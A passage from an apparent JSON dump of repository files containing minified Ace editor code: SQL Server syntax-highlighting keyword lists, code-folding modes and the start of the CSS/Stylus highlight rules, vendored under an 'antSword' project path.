BINARY|BIT|CHAR|CURSOR|DATE|DATETIME|DATETIME2|DATETIMEOFFSET|DECIMAL|FLOAT|HIERARCHYID|IMAGE|INTEGER|INT|MONEY|NCHAR|NTEXT|NUMERIC|NVARCHAR|REAL|SMALLDATETIME|SMALLINT|SMALLMONEY|SQL_VARIANT|TABLE|TEXT|TIME|TIMESTAMP|TINYINT|UNIQUEIDENTIFIER|VARBINARY|VARCHAR|XML\",r=\"sp_addextendedproc|sp_addextendedproperty|sp_addmessage|sp_addtype|sp_addumpdevice|sp_add_data_file_recover_suspect_db|sp_add_log_file_recover_suspect_db|sp_altermessage|sp_attach_db|sp_attach_single_file_db|sp_autostats|sp_bindefault|sp_bindrule|sp_bindsession|sp_certify_removable|sp_clean_db_file_free_space|sp_clean_db_free_space|sp_configure|sp_control_plan_guide|sp_createstats|sp_create_plan_guide|sp_create_plan_guide_from_handle|sp_create_removable|sp_cycle_errorlog|sp_datatype_info|sp_dbcmptlevel|sp_dbmmonitoraddmonitoring|sp_dbmmonitorchangealert|sp_dbmmonitorchangemonitoring|sp_dbmmonitordropalert|sp_dbmmonitordropmonitoring|sp_dbmmonitorhelpalert|sp_dbmmonitorhelpmonitoring|sp_dbmmonitorresults|sp_db_increased_partitions|sp_delete_backuphistory|sp_depends|sp_describe_first_result_set|sp_describe_undeclared_parameters|sp_detach_db|sp_dropdevice|sp_dropextendedproc|sp_dropextendedproperty|sp_dropmessage|sp_droptype|sp_execute|sp_executesql|sp_getapplock|sp_getbindtoken|sp_help|sp_helpconstraint|sp_helpdb|sp_helpdevice|sp_helpextendedproc|sp_helpfile|sp_helpfilegroup|sp_helpindex|sp_helplanguage|sp_helpserver|sp_helpsort|sp_helpstats|sp_helptext|sp_helptrigger|sp_indexoption|sp_invalidate_textptr|sp_lock|sp_monitor|sp_prepare|sp_prepexec|sp_prepexecrpc|sp_procoption|sp_recompile|sp_refreshview|sp_releaseapplock|sp_rename|sp_renamedb|sp_resetstatus|sp_sequence_get_range|sp_serveroption|sp_setnetname|sp_settriggerorder|sp_spaceused|sp_tableoption|sp_unbindefault|sp_unbindrule|sp_unprepare|sp_updateextendedproperty|sp_updatestats|sp_validname|sp_who|sys.sp_merge_xtp_checkpoint_files|sys.sp_xtp_bind_db_resource_pool|sys.sp_xtp_checkpoint_force_garbage_collection|sys.sp_xtp_control_proc_exec_stats|sys.sp_xtp_control_query_exec_stats|sys.sp_xtp_unbind_db_resource_pool\",s=\"ABSOLUTE|ACTION|ADA|ADD|ADMIN|AFTER|AGGREGATE|ALIAS|ALL|ALLOCATE|ALTER|AND|ANY|ARE|ARRAY|AS|ASC|ASENSITIVE|ASSERTION|ASYMMETRIC|AT|ATOMIC|AUTHORIZATION|BACKUP|BEFORE|BEGIN|BETWEEN|BIT_LENGTH|BLOB|BOOLEAN|BOTH|BREADTH|BREAK|BROWSE|BULK|BY|CALL|CALLED|CARDINALITY|CASCADE|CASCADED|CASE|CATALOG|CHARACTER|CHARACTER_LENGTH|CHAR_LENGTH|CHECK|CHECKPOINT|CLASS|CLOB|CLOSE|CLUSTERED|COALESCE|COLLATE|COLLATION|COLLECT|COLUMN|COMMIT|COMPLETION|COMPUTE|CONDITION|CONNECT|CONNECTION|CONSTRAINT|CONSTRAINTS|CONSTRUCTOR|CONTAINS|CONTAINSTABLE|CONTINUE|CORR|CORRESPONDING|COVAR_POP|COVAR_SAMP|CREATE|CROSS|CUBE|CUME_DIST|CURRENT|CURRENT_CATALOG|CURRENT_DATE|CURRENT_DEFAULT_TRANSFORM_GROUP|CURRENT_PATH|CURRENT_ROLE|CURRENT_SCHEMA|CURRENT_TIME|CURRENT_TRANSFORM_GROUP_FOR_TYPE|CYCLE|DATA|DATABASE|DBCC|DEALLOCATE|DEC|DECLARE|DEFAULT|DEFERRABLE|DEFERRED|DELETE|DENY|DEPTH|DEREF|DESC|DESCRIBE|DESCRIPTOR|DESTROY|DESTRUCTOR|DETERMINISTIC|DIAGNOSTICS|DICTIONARY|DISCONNECT|DISK|DISTINCT|DISTRIBUTED|DOMAIN|DOUBLE|DROP|DUMP|DYNAMIC|EACH|ELEMENT|ELSE|END|END-EXEC|EQUALS|ERRLVL|ESCAPE|EVERY|EXCEPT|EXCEPTION|EXEC|EXECUTE|EXISTS|EXIT|EXTERNAL|EXTRACT|FETCH|FILE|FILLFACTOR|FILTER|FIRST|FOR|FOREIGN|FORTRAN|FOUND|FREE|FREETEXT|FREETEXTTABLE|FROM|FULL|FULLTEXTTABLE|FUNCTION|FUSION|GENERAL|GET|GLOBAL|GO|GOTO|GRANT|GROUP|HAVING|HOLD|HOLDLOCK|HOST|HOUR|IDENTITY|IDENTITYCOL|IDENTITY_INSERT|IF|IGNORE|IMMEDIATE|IN|INCLUDE|INDEX|INDICATOR|INITIALIZE|INITIALLY|INNER|INOUT|INPUT|INSENSITIVE|INSERT|INTEGER|INTERSECT|INTERSECTION|INTERVAL|INTO|IS|ISOLATION|ITERATE|JOIN|KEY|KILL|LANGUAGE|LARGE|LAST|LATERAL|LEADING|LESS|LEVEL|LIKE|LIKE_REGEX|LIMIT|LINENO|LN|LOAD|LOCAL|LOCALTIME|LOCALTIMESTAMP|LOCATOR|MAP|MATCH|MEMBER|MERGE|METHOD|MINUTE|MOD|MODIFIES|MODIFY|MODULE|MULTISET|NAMES|NATIONAL|NATURAL|NCLOB|NEW|NEXT|NO|NOCHECK|NONCLUSTERED|NONE|NORMALIZE|NOT|NULL|NULLIF|OBJECT|OCCURRENCES_REGEX|OCTET_LENGTH|OF|OFF|OFFSETS|OLD|ON|ONLY|OPEN|OPERATION|OPTION|OR|ORDER|ORDINALITY|OUT|OUTER|OUTPUT|OVER|OVERLAPS|OVERLAY|PAD|PARAMETER|PARAMETERS|PARTIAL|PARTITION|PASCAL|PATH|PERCENT|PERCENTILE_CONT|PERCENTILE_DISC|PERCENT_RANK|PIVOT|PLAN|POSITION|POSITION_REGEX|POSTFIX|PRECISION|PREFIX|PREORDER|PREPARE|PRESERVE|PRIMARY|PRINT|PRIOR|PRIVILEGES|PROC|PROCEDURE|PUBLIC|RAISERROR|RANGE|READ|READS|READTEXT|RECONFIGURE|RECURSIVE|REF|REFERENCES|REFERENCING|REGR_AVGX|REGR_AVGY|REGR_COUNT|REGR_INTERCEPT|REGR_R2|REGR_SLOPE|REGR_SXX|REGR_SXY|REGR_SYY|RELATIVE|RELEASE|REPLICATION|RESTORE|RESTRICT|RESULT|RETURN|RETURNS|REVERT|REVOKE|ROLE|ROLLBACK|ROLLUP|ROUTINE|ROW|ROWCOUNT|ROWGUIDCOL|ROWS|RULE|SAVE|SAVEPOINT|SCHEMA|SCOPE|SCROLL|SEARCH|SECOND|SECTION|SECURITYAUDIT|SELECT|SEMANTICKEYPHRASETABLE|SEMANTICSIMILARITYDETAILSTABLE|SEMANTICSIMILARITYTABLE|SENSITIVE|SEQUENCE|SESSION|SET|SETS|SETUSER|SHUTDOWN|SIMILAR|SIZE|SOME|SPECIFIC|SPECIFICTYPE|SQL|SQLCA|SQLCODE|SQLERROR|SQLEXCEPTION|SQLSTATE|SQLWARNING|START|STATE|STATEMENT|STATIC|STATISTICS|STDDEV_POP|STDDEV_SAMP|STRUCTURE|SUBMULTISET|SUBSTRING_REGEX|SYMMETRIC|SYSTEM|TABLESAMPLE|TEMPORARY|TERMINATE|TEXTSIZE|THAN|THEN|TIMEZONE_HOUR|TIMEZONE_MINUTE|TO|TOP|TRAILING|TRAN|TRANSACTION|TRANSLATE|TRANSLATE_REGEX|TRANSLATION|TREAT|TRIGGER|TRIM|TRUNCATE|TSEQUAL|UESCAPE|UNDER|UNION|UNIQUE|UNKNOWN|UNNEST|UNPIVOT|UPDATE|UPDATETEXT|USAGE|USE|USER|USING|VALUE|VALUES|VARIABLE|VARYING|VAR_POP|VAR_SAMP|VIEW|WAITFOR|WHEN|WHENEVER|WHERE|WHILE|WIDTH_BUCKET|WINDOW|WITH|WITHIN|WITHIN GROUP|WITHOUT|WORK|WRITE|WRITETEXT|XMLAGG|XMLATTRIBUTES|XMLBINARY|XMLCAST|XMLCOMMENT|XMLCONCAT|XMLDOCUMENT|XMLELEMENT|XMLEXISTS|XMLFOREST|XMLITERATE|XMLNAMESPACES|XMLPARSE|XMLPI|XMLQUERY|XMLSERIALIZE|XMLTABLE|XMLTEXT|XMLVALIDATE|ZONE\";s+=\"|KEEPIDENTITY|KEEPDEFAULTS|IGNORE_CONSTRAINTS|IGNORE_TRIGGERS|XLOCK|FORCESCAN|FORCESEEK|HOLDLOCK|NOLOCK|NOWAIT|PAGLOCK|READCOMMITTED|READCOMMITTEDLOCK|READPAST|READUNCOMMITTED|REPEATABLEREAD|ROWLOCK|SERIALIZABLE|SNAPSHOT|SPATIAL_WINDOW_MAX_CELLS|TABLOCK|TABLOCKX|UPDLOCK|XLOCK|IGNORE_NONCLUSTERED_COLUMNSTORE_INDEX|EXPAND|VIEWS|FAST|FORCE|KEEP|KEEPFIXED|MAXDOP|MAXRECURSION|OPTIMIZE|PARAMETERIZATION|SIMPLE|FORCED|RECOMPILE|ROBUST|PLAN|SPATIAL_WINDOW_MAX_CELLS|NOEXPAND|HINT\",s+=\"|LOOP|HASH|MERGE|REMOTE\",s+=\"|TRY|CATCH|THROW\",s+=\"|TYPE\",s=s.split(\"|\"),s=s.filter(function(r,i,s){return e.split(\"|\").indexOf(r)===-1&&t.split(\"|\").indexOf(r)===-1&&n.split(\"|\").indexOf(r)===-1}),s=s.sort().join(\"|\");var o=this.createKeywordMapper({\"constant.language\":e,\"storage.type\":n,\"support.function\":t,\"support.storedprocedure\":r,keyword:s},\"identifier\",!0),u=\"SET ANSI_DEFAULTS|SET ANSI_NULLS|SET ANSI_NULL_DFLT_OFF|SET ANSI_NULL_DFLT_ON|SET ANSI_PADDING|SET ANSI_WARNINGS|SET ARITHABORT|SET ARITHIGNORE|SET CONCAT_NULL_YIELDS_NULL|SET CURSOR_CLOSE_ON_COMMIT|SET DATEFIRST|SET DATEFORMAT|SET DEADLOCK_PRIORITY|SET FIPS_FLAGGER|SET FMTONLY|SET FORCEPLAN|SET IDENTITY_INSERT|SET IMPLICIT_TRANSACTIONS|SET LANGUAGE|SET LOCK_TIMEOUT|SET NOCOUNT|SET NOEXEC|SET NUMERIC_ROUNDABORT|SET OFFSETS|SET PARSEONLY|SET QUERY_GOVERNOR_COST_LIMIT|SET QUOTED_IDENTIFIER|SET REMOTE_PROC_TRANSACTIONS|SET ROWCOUNT|SET SHOWPLAN_ALL|SET SHOWPLAN_TEXT|SET SHOWPLAN_XML|SET STATISTICS IO|SET STATISTICS PROFILE|SET STATISTICS TIME|SET STATISTICS XML|SET TEXTSIZE|SET XACT_ABORT\".split(\"|\"),a=\"READ UNCOMMITTED|READ COMMITTED|REPEATABLE READ|SNAPSHOP|SERIALIZABLE\".split(\"|\");for(var f=0;f<a.length;f++)u.push(\"SET TRANSACTION ISOLATION LEVEL \"+a[f]);this.$rules={start:[{token:\"string.start\",regex:\"'\",next:[{token:\"constant.language.escape\",regex:/''/},{token:\"string.end\",next:\"start\",regex:\"'\"},{defaultToken:\"string\"}]},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",start:\"/\\\\*\",end:\"\\\\*/\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:o,regex:\"@{0,2}[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b(?!])\"},{token:\"constant.class\",regex:\"@@?[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=|\\\\*\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"punctuation\",regex:\",|;\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}]};for(var f=0;f<u.length;f++)this.$rules.start.unshift({token:\"set.statement\",regex:u[f]});this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")]),this.normalizeRules();var l=[],c=function(e,t){e.forEach(function(e){l.push({name:e,value:e,score:0,meta:t})})};c(r.split(\"|\"),\"procedure\"),c(e.split(\"|\"),\"operator\"),c(t.split(\"|\"),\"function\"),c(n.split(\"|\"),\"type\"),c(u,\"statement\"),c(s.split(\"|\"),\"keyword\"),this.completions=l};r.inherits(o,s),t.SqlHighlightRules=o}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/folding/sqlserver\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./cstyle\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/(\\bCASE\\b|\\bBEGIN\\b)|^\\s*(\\/\\*)/i,this.startRegionRe=/^\\s*(\\/\\*|--)#?region\\b/,this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.getBeginEndBlock(e,n,o,s[1]);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;return},this.getBeginEndBlock=function(e,t,n,r){var s={row:t,column:n+r.length},o=e.getLength(),u,a=1,f=/(\\bCASE\\b|\\bBEGIN\\b)|(\\bEND\\b)/i;while(++t<o){u=e.getLine(t);var l=f.exec(u);if(!l)continue;l[1]?a++:a--;if(!a)break}var c=t;if(c>s.row)return new i(s.row,s.column,c,u.length)}}.call(o.prototype)}),ace.define(\"ace/mode/sqlserver\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sqlserver_highlight_rules\",\"ace/range\",\"ace/mode/folding/sqlserver\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sqlserver_highlight_rules\").SqlHighlightRules,o=e(\"../range\").Range,u=e(\"./folding/sqlserver\").FoldMode,a=function(){this.HighlightRules=s,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/*\",end:\"*/\"},this.getCompletions=function(e,t,n,r){return t.$mode.$highlightRules.completions},this.$id=\"ace/mode/sql\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-stylus.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/stylus_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./css_highlight_rules\"),o=function(){var e=this.createKeywordMapper({\"support.type\":s.supportType,\"support.function\":s.supportFunction,\"support.constant\":s.supportConstant,\"support.constant.color\":s.supportConstantColor,\"support.constant.fonts\":s.supportConstantFonts},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:[\"entity.name.function.stylus\",\"text\"],regex:\"^([-a-zA-Z_][-\\\\w]*)?(\\\\()\"},{token:[\"entity.other.attribute-name.class.stylus\"],regex:\"\\\\.-?[_a-zA-Z]+[_a-zA-Z0-9-]*\"},{token:[\"entity.language.stylus\"],regex:\"^ *&\"},{token:[\"variable.language.stylus\"],regex:\"(arguments)\"},{token:[\"keyword.stylus\"],regex:\"@[-\\\\w]+\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:s.pseudoElements},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:s.pseudoClasses},{token:[\"entity.name.tag.stylus\"],regex:\"(?:\\\\b)(a|abbr|acronym|address|area|article|aside|audio|b|base|big|blockquote|body|br|button|canvas|caption|cite|code|col|colgroup|datalist|dd|del|details|dfn|dialog|div|dl|dt|em|eventsource|fieldset|figure|figcaption|footer|form|frame|frameset|(?:h[1-6])|head|header|hgroup|hr|html|i|iframe|img|input|ins|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|samp|script|section|select|small|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|ul|var|video)(?:\\\\b)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation.definition.entity.stylus\",\"entity.other.attribute-name.id.stylus\"],regex:\"(#)([a-zA-Z][a-zA-Z0-9_-]*)\"},{token:\"meta.vendor-prefix.stylus\",regex:\"-webkit-|-moz\\\\-|-ms-|-o-\"},{token:\"keyword.control.stylus\",regex:\"(?:!important|for|in|return|true|false|null|if|else|unless|return)\\\\b\"},{token:\"keyword.operator.stylus\",regex:\"!|~|\\\\+|-|(?:\\\\*)?\\\\*|\\\\/|%|(?:\\\\.)\\\\.\\\\.|<|>|(?:=|:|\\\\?|\\\\+|-|\\\\*|\\\\/|%|<|>)?=|!=\"},{token:\"keyword.operator.stylus\",regex:\"(?:in|is(?:nt)?|not)\\\\b\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:s.numRe},{token:\"keyword\",regex:\"(?:ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\\\\b\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"}],qstring:[{